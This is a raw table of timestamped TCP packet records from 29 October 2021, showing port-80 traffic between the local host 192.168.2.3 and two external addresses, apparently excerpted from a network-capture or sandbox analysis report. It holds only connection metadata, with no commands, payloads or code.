Oct 29, 2021 20:30:03.754160881 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754167080 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.754221916 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.754267931 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.760693073 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.760808945 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.809268951 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.809484959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809505939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809523106 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809540033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809556961 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809573889 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.809577942 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.809669018 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.809859037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.842278004 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.848982096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.857135057 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.862168074 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862193108 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862210989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862226009 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862241983 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862257957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862272978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862294912 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862298012 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.862315893 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.862334967 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.862339973 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.863064051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.863086939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.863104105 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.863128901 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.863564968 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.864697933 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880844116 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880892038 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880912066 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880932093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880953074 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880971909 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.880974054 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880990982 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.880990982 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.881001949 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.881463051 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.903681040 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.904146910 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.905873060 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.973313093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973349094 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973367929 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973387957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973407030 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973424911 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973428965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973438978 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973478079 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973546028 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973566055 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973584890 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973604918 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973627090 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973642111 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973644972 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973647118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.973683119 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.973695993 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.987102032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994178057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994191885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994220018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994240999 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994261026 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994282007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994296074 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994318008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994347095 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994366884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994379997 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994401932 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994421959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994425058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994457960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994483948 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994529963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994551897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994569063 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994601011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994623899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994651079 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994693041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994716883 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994741917 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994764090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994785070 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994791031 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994822979 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994853020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994864941 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994889021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994906902 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994920015 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.994932890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994959116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.994971037 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995014906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995039940 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995064020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995085001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995098114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995102882 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995126009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995173931 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995181084 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995212078 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995234013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995258093 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995282888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995294094 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995299101 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995352030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995402098 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995414019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995438099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995460987 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995486975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995493889 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995517015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995537043 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995560884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995583057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995595932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995618105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995641947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995668888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995692015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995703936 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995727062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995750904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995764971 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995771885 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995793104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995815992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995834112 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995856047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995878935 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995901108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995923996 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995934963 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995939970 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.995961905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.995985985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996012926 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996036053 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996056080 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996061087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996076107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996100903 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996118069 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996139050 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996160984 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996185064 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996197939 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996220112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996243954 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996279001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996288061 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996292114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996313095 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996335983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996361017 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996383905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996395111 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996398926 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996419907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996440887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996458054 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996479988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996504068 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996526003 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996541977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996566057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996589899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996613026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996623039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996628046 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996649981 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996674061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996696949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996718884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996738911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996758938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996763945 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996772051 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996794939 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996814013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996834040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996845007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996869087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996905088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996927977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996948957 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.996968985 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996973991 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.996984959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997008085 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997034073 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997056961 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997076035 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997081995 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997095108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997119904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997139931 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997164011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997176886 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997180939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997200966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997224092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997243881 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997265100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997289896 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997298002 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997302055 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.997323036 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.997684956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.012954950 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.012991905 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.013005018 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.013022900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.013030052 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.013070107 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.018163919 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.018189907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.018208027 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.018233061 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.019057035 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.020255089 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.043744087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.047554970 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.047574043 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.047590971 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.047661066 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.047673941 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.049236059 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.078494072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078531027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078556061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078592062 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078617096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078639030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078660011 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078672886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078695059 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078717947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078738928 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078763008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078782082 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078787088 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078810930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078849077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078876019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078888893 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078892946 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.078916073 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078939915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078963041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.078985929 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079005003 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079010010 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079022884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079046011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079070091 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079093933 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079107046 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079112053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079132080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079155922 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079180002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079204082 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079220057 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079225063 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079243898 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079267025 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079289913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079314947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079324961 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079329014 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079351902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079375029 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079401016 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079422951 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079435110 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079444885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079468966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079492092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079502106 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079524994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079547882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079571009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079581976 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079610109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079633951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079658985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079670906 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079674959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079695940 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079720020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079744101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079766989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079781055 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079786062 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079803944 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079827070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079849958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079874039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079884052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079889059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079911947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079932928 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079956055 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.079974890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.079998970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080023050 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080046892 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080059052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080064058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080082893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080106974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080130100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080152988 CEST	80	49877	193.56.146.214	192.168.2.3
